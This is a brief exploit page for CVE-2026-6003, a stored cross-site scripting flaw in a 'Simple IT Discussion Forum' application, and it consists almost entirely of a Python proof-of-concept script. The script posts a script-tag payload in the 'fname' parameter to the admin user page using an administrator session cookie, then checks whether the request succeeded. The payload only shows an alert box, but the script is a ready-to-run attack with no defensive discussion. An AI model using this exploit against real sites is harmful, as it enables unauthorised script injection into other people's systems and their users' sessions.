CVE-2026-6003 Simple IT Discussion Forum XSS漏洞

import requests # Target URL configuration target_url = "http://target-host/admin/user.php" # Malicious payload to test XSS xss_payload = "<script>alert('CVE-2026-6003_PoC');</script>" # Payload injection via parameter 'fname' data = { "fname": xss_payload, # Additional parameters might be needed depending on form structure "action": "update" } # Note: Exploitation requires High Privileges (Admin Session) cookies = { "PHPSESSID": "valid_admin_session_id" } try: response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the admin user management page for the alert box.") else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")